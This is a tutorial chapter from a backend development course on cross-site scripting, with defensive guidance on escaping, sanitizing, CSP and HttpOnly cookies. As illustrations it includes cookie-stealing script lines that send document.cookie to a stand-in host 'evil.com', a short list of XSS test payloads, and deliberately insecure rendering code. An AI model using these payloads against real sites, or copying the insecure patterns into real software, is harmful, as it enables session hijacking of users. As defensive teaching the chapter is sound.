15.4. Cross-Site Scripting
Table of Contents
Understanding Cross-Site Scripting
Cross-Site Scripting, usually written as XSS, is one of the most common and dangerous web vulnerabilities. As a backend developer you must understand how it works and how to prevent it, even though the attack often happens inside the user’s browser.
This chapter explains XSS from a backend perspective, with many concrete examples and safe patterns you can apply in your APIs and templates.
Key idea: XSS happens when untrusted input (usually from a user) is rendered as HTML or JavaScript without proper escaping or validation, so that the browser interprets it as code instead of text.
What XSS Can Do
XSS is powerful because the attacker’s code runs in the victim’s browser as if it came from your site. This usually means:
| What attacker can do | Example |
|---|---|
| Steal session data | Read cookies and send them to attacker’s server |
| Perform actions as the victim | Send POST requests, change account settings, make purchases |
| Change or fake UI | Show fake login forms to steal passwords |
| Spread malware | Inject scripts that load malicious content from other servers |
| Deface pages | Replace visible text or images |
For example, a malicious script can run in the user’s browser:
// Attacker code running in victim's browser
const img = document.createElement('img');
img.src = 'https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
If your site uses cookie-based sessions and cookies are not marked HttpOnly, the attacker can steal session cookies and hijack user accounts.
Types of XSS
There are three main categories of XSS. Understanding them helps you recognize where to put defenses.
Reflected XSS
Reflected XSS occurs when untrusted input is included in a single HTTP response without proper escaping, usually in search results, error messages, or query parameters.
Flow:
- Attacker crafts a link with malicious JavaScript in a parameter.
- Victim clicks the link.
- Server takes the parameter and reflects it in the HTML response.
- Browser executes the script.
Example link:
https://example.com/search?q=<script>alert("XSS")</script>Server-side template (insecure):
<p>You searched for: {{ query }}</p>
If the template engine inserts query without escaping HTML, the browser will see:
<p>You searched for: <script>alert("XSS")</script></p>
The <script> tag will run.
Stored XSS
Stored XSS occurs when the malicious data is saved in your database or another persistent storage, then shown to many users.
Flow:
- Attacker submits malicious content, for example in a comment, username, or profile bio.
- Server stores it.
- Later, other users load a page that reads this data from the database.
- The malicious script is rendered and executed in their browsers.
Example comment stored in DB:
Nice post! <script>fetch('https://evil.com?c=' + document.cookie)</script>If your page renders comments as raw HTML, every user that views the post can trigger the attack.
Stored XSS is often more dangerous than reflected XSS because it can affect many users automatically, without them clicking a special link.
DOM-based XSS
DOM-based XSS does not require the server to inject the script directly. Instead, JavaScript on the page manipulates the DOM in an unsafe way using untrusted data.
Flow:
- Browser loads a legitimate page.
- Client-side JavaScript reads untrusted data, for example from
location.searchorlocation.hash. - JavaScript inserts that value into the DOM using dangerous APIs such as
innerHTML. - The browser executes the inserted script.
Client-side example:
// Insecure: inserting untrusted value into innerHTML
const params = new URLSearchParams(window.location.search);
const name = params.get('name'); // attacker controls this
document.getElementById('greeting').innerHTML = 'Hello ' + name;If the user visits:
https://example.com/?name=<img src=x onerror=alert("XSS")>
The browser will execute the onerror handler.
As a backend developer, you do not control the frontend JavaScript, but you should be aware that sending raw user content to the frontend increases the risk if the frontend handles it unsafely.
How XSS Relates to Backend Development
You might think XSS is a frontend problem because the attack runs in the browser. However, backend choices strongly influence XSS risk:
- How you store user input (comments, names, custom fields).
- How you render templates on the server.
- How you format data for APIs, especially HTML content or markdown.
- How you configure security headers, such as Content Security Policy.
- How you escape or sanitize content in emails and other HTML outputs.
A safe backend:
- Treats all user input as untrusted.
- Properly encodes data when sending it to the browser.
- Validates where HTML is truly needed and restricts it heavily.
- Uses framework defaults that auto escape templates.
Common XSS Sources in Backend Applications
HTML Templates with User Data
You will often render HTML templates with user content, such as:
- Usernames
- Posts or comments
- Error messages that reflect what the user submitted
- Search queries
Insecure pattern:
<p>Welcome, {{ username }}</p>If the template system does not escape HTML, then a username like:
<script>alert("XSS")</script>becomes executable code.
Safer pattern, if your engine does not auto escape:
<p>Welcome, {{ escape(username) }}</p>Or rely on template engines that auto escape by default, such as Jinja2 in its default configuration.
Raw HTML from Users
Some apps allow users to submit HTML or markdown, for example blog platforms or forums. This is naturally risky.
Example workflow:
- User writes markdown or HTML.
- Backend converts it to HTML.
- Backend sends the HTML to the browser to render.
If you do not sanitize the HTML, users can inject scripts:
# My Post
Normal text.
<script>/* malicious code */</script>
Backend should use a trusted HTML sanitizer to remove scripts and event attributes, for example removing <script>, onclick, onerror, style with expression(), etc.
Query Parameters in Responses
Even if you send mostly JSON, some endpoints still serve HTML. Search pages and error pages often reflect query parameters such as q, page, or redirect.
An insecure pattern:
# Conceptual pseudo-code (template rendering)
return HTML(f"Your query was: {request.query_params['q']}")Safer pattern:
- Never build HTML strings by hand.
- Pass values into templates and let the template engine escape them.
- Or escape them manually if required.
How Browsers Interpret Untrusted Data
From the browser’s perspective, it receives an HTML document and parses it. Any of these contexts can execute JavaScript:
| Context type | Example |
|---|---|
<script> tag | <script>alert(1)</script> |
| Event attributes | <img src="x" onerror="alert(1)"> |
javascript: URLs | <a href="javascript:alert(1)">Click</a> |
| Inline CSS expressions | style="background:url(javascript:...)" |
| Inline handlers in SVG | Example of event attributes inside <svg> |
If user input can land in these places as raw content, XSS is likely.
Preventing XSS, Core Principles
From the backend side, you fight XSS by combining several strategies.
Core defense rule: Treat all input as untrusted, and encode or sanitize it based on output context before sending it to the browser.
1. Use Auto Escaping in Templates
Most server-side template engines support auto escaping:
- Jinja2 (
{{ variable }}escapes HTML by default). - Django templates.
- Many others.
Concept:
- If you output
{{ username }}the engine converts<to<,>to>, and"to". - So
<script>alert(1)</script>becomes harmless text.
Example:
<p>Welcome, {{ username }}</p>
If username = '<script>alert(1)</script>', the browser will actually see:
<p>Welcome, <script>alert(1)</script></p>Never disable auto escaping unless you are absolutely sure the content is safe.
2. Context-Aware Escaping
HTML has different contexts:
| Output context | Escaping needed |
|---|---|
| Element content | Escape <, >, &, " |
| HTML attribute | Escape as above, plus handle quotes carefully |
| URL parameters | URL encode using encodeURIComponent or equivalent |
| JavaScript string | Escape quotes, backslashes, newlines, etc |
Example: inserting in an attribute:
<img src="/avatars/{{ username }}.png">
If username contains " onerror="alert(1)", it can break out of the attribute. You must ensure your template engine escapes for attribute context or avoid putting untrusted data in attributes directly.
3. Avoid Building HTML Strings in Code
As a backend developer, do not construct full HTML manually using string concatenation with untrusted data.
Bad:
html = "<p>Hello " + username + "</p>"
return HTMLResponse(html)Better:
- Use a template file and pass data as variables.
- Or use a library that handles escaping.
4. Sanitize Rich Text Inputs
If your application allows rich text, HTML, or markdown, you need a sanitizer.
Typical approach:
- Backend receives user input as text.
- Backend renders markdown to HTML.
- Backend passes HTML through a sanitizer library that:
- Removes
<script>,<iframe>,<object>,<embed>, etc. - Removes event attributes like
onclick,onerror. - Restricts allowed tags to a safe subset like
<p>,<b>,<i>,<a>,<ul>,<li>,<code>,<pre>. - Store only sanitized HTML or sanitize every time before output.
Avoid writing your own sanitizer. Use maintained libraries built for this purpose.
Manual Encoding Examples
Sometimes you respond with JSON but later render that JSON in HTML on another page. Encoding correctly in the backend reduces risk.
Example: Escaping HTML Special Characters
Minimal encoding (pseudocode):
def html_escape(text: str) -> str:
return (text
.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'"))Use this only conceptually. In real code, use built-in escaping functions or your framework’s helpers.
Example: Safe JSON Responses
JSON itself does not execute JavaScript. However, if someone embeds JSON directly into a <script> tag, problems can appear.
For typical REST APIs:
- Return plain JSON from your backend.
- Do not wrap JSON in HTML or JavaScript.
- Use
application/jsoncontent type.
Example safe JSON:
{
"comment": "<script>alert('XSS')</script>"
}This does not execute code by itself. It only becomes dangerous if the frontend uses it incorrectly, for example:
// INSECURE front-end: building HTML with innerHTML
commentContainer.innerHTML = response.comment;From backend side, encourage frontend teams to use:
commentContainer.textContent = response.comment; // safeSecurity Headers that Help Against XSS
Backend services can add HTTP response headers that reduce XSS impact.
Content Security Policy (CSP)
CSP is a powerful header that limits what resources a page can load and where scripts can come from.
Example CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self'This tells the browser:
- Load everything by default only from the same origin.
- Run JavaScript only if it comes from the same origin and not inline.
Benefits:
- Blocks many injected scripts, especially if you avoid
unsafe-inline. - Makes it harder for attackers to run arbitrary JS, even if some HTML is compromised.
For more advanced setups, you can allow specific CDNs:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.comX-XSS-Protection
This is an older header for legacy browsers, and many modern browsers ignore it, but you might still encounter it.
X-XSS-Protection: 1; mode=blockThis asks the browser to attempt reflected XSS detection and block the response. It should not replace proper escaping and CSP.
HttpOnly Cookies
While not directly preventing XSS, HttpOnly cookies limit damage.
If a cookie is marked HttpOnly, JavaScript cannot read it with document.cookie. If XSS exists, the attacker may be unable to steal the session cookie.
Backend example:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
Always mark session cookies as HttpOnly.
Examples of Unsafe vs Safe Backend Code
Example 1: Reflected Search Term
Insecure:
# Pseudo-code
def search(request):
q = request.query_params.get("q", "")
html = f"<h1>Results for: {q}</h1>"
return HTMLResponse(html)
If q = '<script>alert(1)</script>', this results in XSS.
Safer with Templates:
def search(request):
q = request.query_params.get("q", "")
return templates.TemplateResponse(
"search.html",
{"request": request, "query": q}
)
search.html:
<h1>Results for: {{ query }}</h1>
Assuming {{ query }} is auto escaped, the page shows safe text.
Example 2: User Profile with Bio
Insecure stored XSS risk:
# Save bio directly in DB and later render as raw HTML
def show_profile(user_id):
user = get_user(user_id)
return HTMLResponse(f"<p>{user.bio}</p>")
If bio contains <script>...</script>, it runs.
Safer with escaping:
def show_profile(user_id):
user = get_user(user_id)
return templates.TemplateResponse(
"profile.html",
{"request": request, "user": user}
)
profile.html:
<p>{{ user.bio }}</p> <!-- auto escaping -->Or, if you allow only limited HTML, sanitize bio before storing or before rendering.
Testing and Detecting XSS During Development
As a backend developer, you should learn to recognize possible XSS locations and test them.
Test Payloads
Simple test values:
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>"><script>alert(1)</script>
You can put these into form fields, query parameters, or any user input and see how they appear on the page.
If the browser shows the script or element as text, your escaping works. If it executes an alert dialog, there is a problem.
Checklist for Backend XSS Review
Use this checklist when reviewing backend code:
| Question | If "yes", check for XSS |
|---|---|
| Does any endpoint render HTML directly? | Ensure templates auto escape or encode output |
| Are user inputs reflected in error or status pages? | Escape values in responses |
| Does your API output HTML or markdown? | Sanitize stored or returned content |
| Do you allow users to customize HTML content? | Use a sanitizer and strict allowed tags list |
| Are you building any HTML manually with string ops? | Replace with templates or encoding helpers |
Are session cookies missing HttpOnly flag? | Add HttpOnly and Secure |
Backend Best Practices Against XSS
To summarize practical guidelines for your backend:
Backend XSS prevention rules:
- Never trust user input. Treat everything from clients as untrusted.
- Use auto escaping templates. Do not disable escaping by default.
- Avoid manual HTML string building. Use templates or libraries.
- Sanitize rich text or HTML inputs. Use a maintained sanitizer library.
- Use appropriate security headers. Especially
Content-Security-Policy. - Mark session cookies as HttpOnly. Reduce impact if XSS occurs.
- Limit where HTML is allowed. Prefer plain text unless absolutely necessary.
- Review any feature that stores user content. Comments, bios, messages, etc.
As you build backend services for real applications, combine these practices with secure coding on the frontend to keep your users safe from XSS attacks.
Views: 0
Where to Move
Move chapter:
- ☰ 1. Introduction to Backend Development
- ☰ 1.1. What Is Backend Development?
- ☰ 1.2. Frontend vs Backend
- ☰ 1.3. How Web Applications Work
- ☰ 1.4. Client-Server Architecture
- ☰ 1.5. Request-Response Cycle
- ☰ 1.6. Static vs Dynamic Websites
- ☰ 1.7. Backend Developer Responsibilities
- ☰ 1.8. Backend Development Roadmap
-
- ☰ 2. How the Web Works
- ☰ 2.1. The Internet and the Web
- ☰ 2.2. IP Addresses
- ☰ 2.3. Domain Names
- ☰ 2.4. DNS
- ☰ 2.5. Ports
- ☰ 2.6. TCP/IP Basics
- ☰ 2.7. HTTP and HTTPS
- ☰ 2.8. HTTP Requests
- ☰ 2.9. HTTP Responses
- ☰ 2.10. HTTP Methods
- ☰ 2.11. HTTP Status Codes
- ☰ 2.12. HTTP Headers
- ☰ 2.13. Cookies
- ☰ 2.14. Sessions
- ☰ 2.15. What Happens When You Enter a URL?
-
- ☰ 3. Development Environment
- ☰ 3.1. Choosing an Operating System
- ☰ 3.2. Linux Basics for Backend Developers
- ☰ 3.3. Command Line Basics
- ☰ 3.4. Environment Variables
- ☰ 3.5. Installing Development Tools
- ☰ 3.6. Code Editors and IDEs
- ☰ 3.7. Git
- ☰ 3.8. GitHub and GitLab
- ☰ 3.9. Creating Your First Repository
- ☰ 3.10. Branches and Commits
- ☰ 3.11. Basic Git Workflow
-
- ☰ 4. Programming Fundamentals
- ☰ 4.1. Variables and Data Types
- ☰ 4.2. Operators
- ☰ 4.3. Conditions
- ☰ 4.4. Loops
- ☰ 4.5. Functions
- ☰ 4.6. Data Structures
- ☰ 4.7. Error Handling
- ☰ 4.8. Modules and Packages
- ☰ 4.9. File Handling
- ☰ 4.10. Object-Oriented Programming
- ☰ 4.11. Classes and Objects
- ☰ 4.12. Inheritance and Composition
- ☰ 4.13. Clean Code Principles
-
- ☰ 5. Python for Backend Development
- ☰ 5.1. Introduction to Python
- ☰ 5.2. Installing Python
- ☰ 5.3. Virtual Environments
- ☰ 5.4. pip and Package Management
- ☰ 5.5. Python Project Structure
- ☰ 5.6. Functions and Type Hints
- ☰ 5.7. Classes and Dataclasses
- ☰ 5.8. Exceptions
- ☰ 5.9. Working with Files
- ☰ 5.9.1. File Downloads
- ☰ 5.9.2. File Validation
- ☰ 5.9.3. Image Uploads
- ☰ 5.9.4. Local File Storage
- ☰ 5.9.5. Object Storage
- ☰ 5.9.6. S3-Compatible Storage
- ☰ 5.9.7. Presigned URLs
- ☰ 5.9.8. Secure File Handling
-
- ☰ 5.10. JSON
- ☰ 5.11. Date and Time
- ☰ 5.12. Logging
- ☰ 5.13. Configuration
- ☰ 5.14. Environment Variables
- ☰ 5.15. Async Programming
- ☰ 5.16. Python Backend Best Practices
-
- ☰ 6. Introduction to Web Backends
- ☰ 6.1. Building a Simple Web Server
- ☰ 6.2. Routing
- ☰ 6.3. URL Parameters
- ☰ 6.4. Query Parameters
- ☰ 6.5. Request Bodies
- ☰ 6.6. Form Data
- ☰ 6.7. JSON Requests
- ☰ 6.8. Returning Responses
- ☰ 6.9. Templates
- ☰ 6.10. Static Files
- ☰ 6.11. Middleware
- ☰ 6.12. Application Configuration
-
- ☰ 7. REST APIs
- ☰ 7.1. What Is an API?
- ☰ 7.2. What Is REST?
- ☰ 7.3. Resources and Endpoints
- ☰ 7.4. RESTful URL Design
- ☰ 7.5. HTTP Methods in REST
- ☰ 7.6. GET Requests
- ☰ 7.7. POST Requests
- ☰ 7.8. PUT Requests
- ☰ 7.9. PATCH Requests
- ☰ 7.10. DELETE Requests
- ☰ 7.11. Request Validation
- ☰ 7.12. Response Models
- ☰ 7.13. HTTP Status Codes
- ☰ 7.14. Error Responses
- ☰ 7.15. Pagination
- ☰ 7.16. Filtering
- ☰ 7.17. Sorting
- ☰ 7.18. Searching
- ☰ 7.19. API Versioning
- ☰ 7.20. API Documentation
- ☰ 7.21. OpenAPI and Swagger
-
- ☰ 8. FastAPI
- ☰ 8.1. Introduction to FastAPI
- ☰ 8.2. Routes and Path Operations
- ☰ 8.3. Path Parameters
- ☰ 8.4. Pydantic Models
- ☰ 8.5. Data Validation
- ☰ 8.6. Dependency Injection
- ☰ 8.7. Exception Handling
- ☰ 8.8. Background Tasks
- ☰ 8.9. File Uploads
- ☰ 8.10. Async Endpoints
- ☰ 8.11. FastAPI Project Structure
- ☰ 8.12. Building a Complete REST API
-
- ☰ 9. Databases
- ☰ 9.1. Introduction to Databases
- ☰ 9.2. Relational vs NoSQL Databases
- ☰ 9.3. Tables, Rows, and Columns
- ☰ 9.4. Primary Keys
- ☰ 9.5. Foreign Keys
- ☰ 9.6. Relationships
- ☰ 9.7. One-to-One Relationships
- ☰ 9.8. One-to-Many Relationships
- ☰ 9.9. Many-to-Many Relationships
- ☰ 9.10. Database Schema Design
- ☰ 9.11. Normalization
- ☰ 9.12. Indexes
- ☰ 9.13. Transactions
- ☰ 9.14. ACID Properties
-
- ☰ 10. SQL
- ☰ 10.1. Introduction to SQL
- ☰ 10.2. CREATE
- ☰ 10.3. INSERT
- ☰ 10.4. SELECT
- ☰ 10.5. UPDATE
- ☰ 10.6. DELETE
- ☰ 10.7. WHERE
- ☰ 10.8. ORDER BY
- ☰ 10.9. GROUP BY
- ☰ 10.10. Aggregate Functions
- ☰ 10.11. JOINs
- ☰ 10.12. Subqueries
- ☰ 10.13. Constraints
- ☰ 10.14. Indexes
- ☰ 10.15. Transactions
- ☰ 10.16. Common Table Expressions
- ☰ 10.17. SQL Performance Basics
-
- ☰ 11. PostgreSQL
- ☰ 11.1. Introduction to PostgreSQL
- ☰ 11.2. Installing PostgreSQL
- ☰ 11.3. Creating Databases
- ☰ 11.4. Users and Roles
- ☰ 11.5. Permissions
- ☰ 11.6. PostgreSQL Data Types
- ☰ 11.7. Constraints
- ☰ 11.8. Indexes
- ☰ 11.9. Transactions
- ☰ 11.10. JSON Data
- ☰ 11.11. Backup and Restore
- ☰ 11.12. PostgreSQL Performance Basics
-
- ☰ 12. ORM and Database Integration
- ☰ 12.1. What Is an ORM?
- ☰ 12.2. SQLAlchemy
- ☰ 12.3. Models
- ☰ 12.4. Database Sessions
- ☰ 12.5. Creating Records
- ☰ 12.6. Reading Records
- ☰ 12.7. Updating Records
- ☰ 12.8. Deleting Records
- ☰ 12.9. Relationships
- ☰ 12.10. Queries
- ☰ 12.11. Transactions
- ☰ 12.12. Connection Pooling
- ☰ 12.13. Database Migrations
- ☰ 12.14. Alembic
- ☰ 12.15. Repository Pattern
-
- ☰ 13. Authentication
- ☰ 13.1. Authentication vs Authorization
- ☰ 13.2. Password Storage
- ☰ 13.3. Password Hashing
- ☰ 13.4. Registration
- ☰ 13.5. Login
- ☰ 13.6. Tokens
- ☰ 13.7. JSON Web Tokens
- ☰ 13.8. Access Tokens
- ☰ 13.9. Refresh Tokens
- ☰ 13.10. OAuth 2.0
- ☰ 13.11. OpenID Connect
- ☰ 13.12. Social Login
- ☰ 13.13. Logout
- ☰ 13.14. Password Reset
- ☰ 13.15. Email Verification
- ☰ 13.16. Multi-Factor Authentication
-
- ☰ 14. Authorization
- ☰ 14.1. Users and Permissions
- ☰ 14.2. Role-Based Access Control
- ☰ 14.3. Permission-Based Access Control
- ☰ 14.4. Protecting API Endpoints
- ☰ 14.5. Admin Permissions
- ☰ 14.6. Resource Ownership
- ☰ 14.7. Authorization Best Practices
-
- ☰ 15. Backend Security
- ☰ 15.1. Introduction to Web Security
- ☰ 15.2. HTTPS and TLS
- ☰ 15.3. SQL Injection
- ☰ 15.4. Cross-Site Scripting
- ☰ 15.5. Cross-Site Request Forgery
- ☰ 15.6. CORS
- ☰ 15.7. Authentication Attacks
- ☰ 15.8. Brute-Force Protection
- ☰ 15.9. Rate Limiting
- ☰ 15.10. Input Validation
- ☰ 15.11. Secure Password Storage
- ☰ 15.12. Secrets Management
- ☰ 15.13. Secure Cookies
- ☰ 15.14. Security Headers
- ☰ 15.15. File Upload Security
- ☰ 15.16. Dependency Vulnerabilities
- ☰ 15.17. OWASP Top 10
-
- ☰ 16. Caching
- ☰ 16.1. Why Caching Matters
- ☰ 16.2. Application Caching
- ☰ 16.3. Redis
- ☰ 16.3.1. Introduction to Redis
- ☰ 16.3.2. Installing Redis
- ☰ 16.3.3. Keys and Values
- ☰ 16.3.4. Expiration
- ☰ 16.3.5. Distributed Locks
-
- ☰ 16.4. Cache Keys
- ☰ 16.5. Cache Invalidation
- ☰ 16.6. Caching Database Queries
- ☰ 16.7. Distributed Caching
-
- ☰ 17. Background Processing
- ☰ 17.1. Synchronous vs Asynchronous Tasks
- ☰ 17.2. Background Jobs
- ☰ 17.3. Message Queues
- ☰ 17.4. Celery
- ☰ 17.5. Redis as a Message Broker
- ☰ 17.6. Scheduled Tasks
- ☰ 17.7. Retry Strategies
- ☰ 17.8. Handling Failed Jobs
- ☰ 17.9. Email Jobs
- ☰ 17.10. Long-Running Tasks
-
- ☰ 18. Email
- ☰ 18.1. How Email Works
- ☰ 18.2. SMTP
- ☰ 18.3. Sending Emails
- ☰ 18.4. HTML Emails
- ☰ 18.5. Transactional Emails
- ☰ 18.6. Password Reset Emails
- ☰ 18.7. Background Email Delivery
- ☰ 18.8. Email Delivery Best Practices
-
- ☰ 19. Testing
- ☰ 19.1. Why Backend Testing Matters
- ☰ 19.2. Unit Testing
- ☰ 19.3. Integration Testing
- ☰ 19.4. API Testing
- ☰ 19.5. pytest
- ☰ 19.6. Fixtures
- ☰ 19.7. Mocking
- ☰ 19.8. Testing Databases
- ☰ 19.9. Testing Authentication
- ☰ 19.10. Testing FastAPI
- ☰ 19.11. Test Coverage
- ☰ 19.12. Automated Testing
-
- ☰ 20. Logging and Monitoring
- ☰ 20.1. Application Logging
- ☰ 20.2. Log Levels
- ☰ 20.3. Structured Logging
- ☰ 20.4. Request Logging
- ☰ 20.5. Error Logging
- ☰ 20.6. Metrics
- ☰ 20.7. Health Checks
- ☰ 20.8. Monitoring
- ☰ 20.9. Prometheus
- ☰ 20.10. Grafana
- ☰ 20.11. Alerting
- ☰ 20.12. Error Tracking
- ☰ 20.13. Observability Basics
-
- ☰ 21. Docker
- ☰ 21.1. Introduction to Containers
- ☰ 21.2. Docker Architecture
- ☰ 21.3. Images
- ☰ 21.4. Containers
- ☰ 21.5. Dockerfiles
- ☰ 21.6. Building Images
- ☰ 21.7. Running Containers
- ☰ 21.8. Volumes
- ☰ 21.9. Networks
- ☰ 21.10. Docker Compose
- ☰ 21.11. FastAPI with Docker
- ☰ 21.12. PostgreSQL with Docker
- ☰ 21.13. Redis with Docker
- ☰ 21.14. Multi-Container Applications
- ☰ 21.15. Production Docker Best Practices
-
- ☰ 22. Web Servers and Reverse Proxies
- ☰ 22.1. Application Servers
- ☰ 22.2. Uvicorn
- ☰ 22.3. Gunicorn
- ☰ 22.4. Reverse Proxies
- ☰ 22.5. Nginx
- ☰ 22.6. Traefik
- ☰ 22.7. HTTPS
- ☰ 22.8. TLS Certificates
- ☰ 22.9. Let's Encrypt
- ☰ 22.10. Load Balancing
-
- ☰ 23. Deployment
- ☰ 23.1. Development vs Production
- ☰ 23.2. Preparing an Application for Production
- ☰ 23.3. Linux Server Setup
- ☰ 23.4. Deploying with Docker
- ☰ 23.5. Environment Configuration
- ☰ 23.6. Managing Secrets
- ☰ 23.7. HTTPS Configuration
- ☰ 23.8. Production Logging
- ☰ 23.9. Backups
- ☰ 23.10. Zero-Downtime Deployment
- ☰ 23.11. Rollbacks
-
- ☰ 24. CI/CD
- ☰ 24.1. Introduction to CI/CD
- ☰ 24.2. Continuous Integration
- ☰ 24.3. Continuous Delivery
- ☰ 24.4. Continuous Deployment
- ☰ 24.5. CI/CD Pipelines
- ☰ 24.6. GitHub Actions
- ☰ 24.7. GitLab CI/CD
- ☰ 24.8. Building Docker Images
- ☰ 24.9. Container Registries
- ☰ 24.10. Deployment Pipelines
- ☰ 24.11. Staging Environments
- ☰ 24.12. Production Environments
- ☰ 24.13. Rollback Strategies
-
- ☰ 25. Backend Architecture
- ☰ 25.1. Monolithic Architecture
- ☰ 25.2. Modular Monoliths
- ☰ 25.3. Microservices
- ☰ 25.4. Layered Architecture
- ☰ 25.5. Service Layer
- ☰ 25.6. Separation of Concerns
- ☰ 25.7. Domain-Driven Design Basics
- ☰ 25.8. Event-Driven Architecture
- ☰ 25.9. Choosing an Architecture
-
- ☰ 26. Performance and Scalability
- ☰ 26.1. Understanding Backend Performance
- ☰ 26.2. CPU-Bound vs I/O-Bound Work
- ☰ 26.3. Asynchronous Programming
- ☰ 26.4. Database Optimization
- ☰ 26.5. Query Optimization
- ☰ 26.6. Indexing
- ☰ 26.7. Load Balancing
- ☰ 26.8. Horizontal Scaling
- ☰ 26.9. Vertical Scaling
- ☰ 26.10. Stateless Applications
- ☰ 26.11. Performance Testing
- ☰ 26.12. Load Testing
-
- ☰ 27. Advanced API Development
- ☰ 27.1. WebSockets
- ☰ 27.2. Server-Sent Events
- ☰ 27.3. GraphQL
- ☰ 27.4. Webhooks
- ☰ 27.5. Idempotency
- ☰ 27.6. API Rate Limiting
- ☰ 27.7. API Keys
- ☰ 27.8. API Gateways
- ☰ 27.9. Distributed APIs
- ☰ 27.10. Real-Time Applications
-
- ☰ 28. Production Backend Engineering
- ☰ 28.1. Configuration Management
- ☰ 28.2. Database Backups
- ☰ 28.3. Disaster Recovery
- ☰ 28.4. Graceful Shutdown
- ☰ 28.5. Fault Tolerance
- ☰ 28.6. Circuit Breakers
- ☰ 28.7. High Availability
- ☰ 28.8. Monitoring Production Systems
- ☰ 28.9. Incident Response
-
- ☰ 29. Project 1: Task Management API
- ☰ 29.1. Project Requirements
- ☰ 29.2. Project Structure
- ☰ 29.3. Database Design
- ☰ 29.4. CRUD Operations
- ☰ 29.5. Validation
-
- ☰ 30. Project 2: Authentication System
- ☰ 30.1. User Registration
- ☰ 30.2. JWT Authentication
- ☰ 30.3. Role-Based Authorization
- ☰ 30.4. Security Testing
-
- ☰ 31. Project 3: E-Commerce Backend
- ☰ 31.1. Architecture
- ☰ 31.2. User Management
- ☰ 31.3. Product Management
- ☰ 31.4. Categories
- ☰ 31.5. Shopping Cart
- ☰ 31.6. Orders
- ☰ 31.7. Inventory
- ☰ 31.8. Payments
- ☰ 31.9. Admin API
-
- ☰ 32. Final Project: Production Backend
- ☰ 32.1. Planning the Application
- ☰ 32.2. Designing the Architecture
- ☰ 32.3. Designing the Database
- ☰ 32.4. Building the REST API
- ☰ 32.5. Authentication and Authorization
- ☰ 32.6. PostgreSQL Integration
- ☰ 32.7. Redis Integration
- ☰ 32.8. Background Workers
- ☰ 32.9. File Storage
- ☰ 32.10. Dockerizing the Application
- ☰ 32.11. CI/CD Pipeline
- ☰ 32.12. Production Deployment
- ☰ 32.13. HTTPS and Domain Setup
- ☰ 32.14. Performance Optimization
- ☰ 32.15. Security Review
- ☰ 32.16. Documentation
-
- ☰ 33. Backend Developer Roadmap
- ☰ 33.1. What You Should Know Now
- ☰ 33.2. Building a Portfolio
- ☰ 33.3. Creating Backend Projects
- ☰ 33.4. Contributing to Open Source
- ☰ 33.5. Preparing for Backend Interviews
- ☰ 33.6. Backend Interview Questions
- ☰ 33.7. Database Interview Questions
- ☰ 33.8. API Interview Questions
- ☰ 33.9. Linux and Docker Interview Questions
- ☰ 33.10. Where to Go Next
-
Comments
Please login to add a comment.
Don't have an account? Register now!